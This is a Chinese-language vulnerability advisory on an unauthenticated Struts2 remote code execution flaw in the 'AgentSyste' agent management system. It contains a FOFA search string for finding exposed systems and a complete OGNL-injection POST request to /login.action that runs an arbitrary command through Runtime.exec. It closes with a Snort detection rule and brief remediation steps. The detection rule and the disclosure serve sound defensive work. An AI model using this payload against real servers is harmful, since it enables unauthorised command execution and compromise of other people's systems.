

AgentSyste代理商管理系统 Struts2 远程代码执行漏洞

AgentSyste代理商管理系统 Struts2 远程代码执行漏洞，可以再无任何验证的情况下进行命令执行。

影响版本

AgentSyste代理商管理系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：body="AgentSyste代理商管理系统"

POC/EXP：

```
POST /login.action HTTP/1.1
Host: 127.0.0.1
User-Agent: Java/1.8.0_261
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-type: application/x-www-form-urlencoded

debug=browser&object=
(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime.getRuntime().exec(%23parameters.command%5B0%5D).getInputStream())):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=webpath888888&command=echo 31415926
```



snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"AgentSyste Struts2 Remote Code Execution Attempt";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/login.action"; http_uri;
  content:"Content-type: application/x-www-form-urlencoded"; http_header;
  content:"debug=browser"; http_client_body;
  pcre:"/object=\\(%23_memberAccess|%23context\\
[%23parameters|@ognl\\.OgnlContext@DEFAULT_MEMBER_ACCESS|@java\\.lang\\.Runtime@getR
untime\\(\\)\\.exec/i";
  metadata:cve;
  metadata:affected_product "AgentSyste Management System";
  metadata:attack_type "Remote Code Execution";
  metadata:technique "T1190";
  reference:url, struts.apache.org/security/;
  classtype:web-application-attack;
  sid:1000029;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本